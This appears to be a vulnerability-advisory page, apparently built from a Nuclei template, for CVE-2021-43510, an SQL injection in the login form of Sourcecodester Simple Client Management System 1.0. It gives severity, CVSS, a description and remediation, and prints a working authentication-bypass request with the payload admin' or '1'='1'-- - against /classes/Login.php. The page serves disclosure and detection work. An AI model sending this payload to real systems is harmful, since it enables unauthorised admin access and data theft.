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CVE-2021-43510: Sourcecodester Simple Client Management System 1.0 - SQL Injection

TitleSourcecodester Simple Client Management System 1.0 - SQL Injection
Authoredoardottt
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationApply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Simple Client Management System 1.0.
CVSS Score9.8
EPSS Score0.67767
CVE IDCVE-2021-43510
CWE IDCWE-89
Tags cve2021 cve simpleclientmanagement sqli auth-bypass simple_client_management_system_project vuln

🔍 Vulnerability Description

Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /classes/Login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=admin'+or+'1'%3d'1'--+-&password=as
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43510.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43510.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A